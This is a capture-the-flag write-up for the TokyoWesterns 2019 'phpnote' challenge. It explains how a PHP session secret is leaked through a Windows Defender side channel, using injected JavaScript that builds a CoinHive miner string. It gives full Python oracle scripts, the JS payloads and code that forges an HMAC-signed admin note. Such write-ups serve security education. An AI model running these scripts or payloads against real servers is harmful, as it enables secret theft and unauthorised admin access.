Saarsec

saarsec

Schwenk and pwn

TokyoWesterns CTF 2019 - phpnote

The main purpose of the service was to store and display serialized notes. However, the exploit requires more than a typical deserialisation exploit.

This is, because the serialized note is signed using a HMAC and the deserialization is only triggered if the signature is valid. The HMACs secret is not known to the user, but stored in the session instead.

<?php
function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

/* ... */

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
        ? unserialize(base64_decode($_COOKIE['note']))
        : new Note(false);
?>

Guess the Flag

During the CTF we looked for php issues and tried to bruteforce because SALT and PEPPER in the gen_secret function looked phishy (in php, SALT and PEPPER may default to the strings "SALT" and "PEPPER" if the constants are undefined). Also, it was possible to use an empty seed.

<?php
function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}
?>

However, none of those ideas worked and the CTF passed by. :(

Some OSINT

After the CTF, we found out that the challenge author was icchy. For WCTF 2019, he already created a hard, but really creative challenge. To solve Gyotaku The Flag, it was required to leak the flag by using Windows Defender as a side channel (similar to the XSS-Auditor side channel). Unfortunately, there was an unintended solution that almost everyone exploited. Knowing that, it was only a matter of time for a similar challenge to appear.

Thanks to all the people in the #twctf IRC for hinting on this after the CTF.

Leaking the secret

After creating an account, realname, secret and nickname are stored in the session. The session data itself is stored in a file and looks like this:

realname|s:11:"Hello World";nickname|s:6:"alfink";secret|s:32:"13371337133713371337133713371337";

Because the server is running Windows, Windows Defender inspects all files, including the ones that store the session data. So, if we store “malware” in the session data, Windows Defender detects it and the login will fail. One such string is var miner=new CoinHive.User();miner.start(). Another useful fact about Windows Defender is that it includes a Javascript Engine that executes all the Javascript code it finds. This should protect the users of obfuscated malware. However, this is also the part we will exploit to leak the secret.
As example, the first payload will be blocked by Windows Defender while the second will not:

<script>
    var mal = 'var miner=new Coin';
    var n = document.body.innerHTML.charCodeAt(0);
    mal = mal + String.fromCharCode(n^40) + 'ive.User();miner.start';
    eval(mal);
</script>
<script>
    var mal = 'var miner=new Coin';
    var n = document.body.innerHTML.charCodeAt(0);
    mal = mal + String.fromCharCode(n^65) + 'ive.User();miner.start';
    eval(mal);
</script>

So, to leak the secret, we have to create a Javascript payload that reads a character of the secret, and only assembles our “malicious” string if it matches our guess. We can then use a successful login as our side channel output.

Reading the secret in Javascript

To read the secret in Javascript via document.body.innerHTML, it is necessary to put <body> tags around the secret. During registration realname and nickname are added to the session before secret, so we don’t control anything after the data to leak.

<?php
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}
?>

But, we can execute this code again after the login. So, if no nickname is provided in the first request, only realname and secret are stored in the session. In all following login-requests, the realname and secret will be updated and a nickname is added to the end of the session file. This means, if we put a <body> into realname and </body> into nickname, the secret is a substring of document.body.innerHTML.

realname|s:13:"alfink <body>";secret|s:32:"13371337133713371337133713371337";nickname|s:7:"</body>";

So, our nickname will be </body> and the realname our script ({offset} is the position of the char to leak and {char_to_check} the char to compare against):

<script>
    var body = document.body.innerHTML;
    var mal = 'var miner=new Coin';
    var n = body[{offset}].charCodeAt(0);
    mal = mal + String.fromCharCode(n^{char_to_check})+'ive.User();miner.start(';
    eval(mal);
</script><body>

Leaking it the simple way

The corresponding python code is the following:

import string

import requests


def oracle(data):
    nick = "</body>"
    realname = "alfink "+data

    s = requests.session()

    assert "alfink" in s.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login",
                  data={"nickname": "", "realname": "alfink alfink"}).content

    return "alfink" in s.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", data={"nickname": nick, "realname": realname}).content

known = ""
while True:
    for i2 in set(map(ord, string.printable))-set(string.whitespace):
        i = i2 ^ ord("H")
        r = oracle("""
        <script>var body = document.body.innerHTML;
        var mal = 'var miner=new Coin';
        var n = body[{}].charCodeAt(0);
        mal = mal + String.fromCharCode(n^{}) + String.fromCharCode(n^{}) + String.fromCharCode(n^{}) + String.fromCharCode(n^{}) + String.fromCharCode(n^{}) +'User();miner.start(';
        eval(mal);
        </script><body>""".format(len(known), i, i^ord("H")^ord("i"), i^ord("H")^ord("v"), i^ord("H")^ord("e"), i^ord("H")^ord(".")))
        print i, repr(chr(i^ord("H"))), r
        if not r:
            if i == ord("H"):
                print "=>", repr(known)
                exit(0)
            known = known+chr(i ^ ord('H'))
            print "=>", repr(known)
            break
    else:
        print "=>", repr(known)
        exit(0)

I had to modify the javascript slightly to get rid of false positives, because Windows Defender seems to be case-insensitive.

After some time, it returns the leaked part of the session:

=> '";secret|s:32:"2532bd172578d19923e5348420e02320";nickname|s:7:"'

BONUS: The fast and elegant way

While I made my exploit faster by spending a few cents on a VPS in Tokyo, Ben implemented an exploit that used binary search to leak the secret more efficiently.

His Javascript generates CoinHive if test was larger or equal to the character at offset offset. Otherwise it will assemble Coinundefinedive, which will not be detected. This approach has the advantage, that does not rely on case-sensitiveness.

<script>
var body = document.body.innerHTML;
var mal = 'var miner=new Coin';
var n = body.charCodeAt({offset});
mal = mal + {{{test}: 'H'}}[Math.min({test}, n)] + 'ive.User(); miner.start()';
eval(mal);
</script>
<body>x

Ben’s python script uses the JS template for a binary search:

import requests
import sys

template = open("attack.js").read().replace("\n", "")

known_prefix = 'x";secret|s:32:"'

def is_secret_less_than_guess(offset, char):
    payload = template.format(offset=offset, test=char)
    session = requests.Session()
    session.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login",
                    {"realname": 'aaaaaaaa', "nickname": ''})
    session.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login",
                 {"realname": 'aaaaaaaa', "nickname": '</body>'})

    resp = session.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login",
                        {"realname": payload, "nickname": '</body>'})
    if len(resp.text) == 1376: # blocked response, means c == n or c > n
        return False
    else:
        return True


def search(offset):
    low = 0
    high = 256
    while low <= high:
        mid = (low + high) / 2
        guess = is_secret_less_than_guess(offset, mid)
        if guess:
            high = mid
        else:
            low = mid
        if high - low == 1:
            return low

result = known_prefix

for i in xrange(len(known_prefix), len(known_prefix) + 32):
    result += chr(search(i))
print result

Request the flag

Finally, we can use the leaked secret to sign a note with isadmin set:

<?php
$secret = "2532bd172578d19923e5348420e02320";
$note = new Note(true);
$note->addnote("exploit","works");
$data = base64_encode(serialize($note));
var_dump($data);
$hmac = hmac($data, $secret);
var_dump($hmac);
?>

Setting the cookies and accessing http://phpnote.chal.ctf.westerns.tokyo/?action=getflag reveals the flag: TWCTF{h0pefully_I_haven't_made_a_m1stake_again}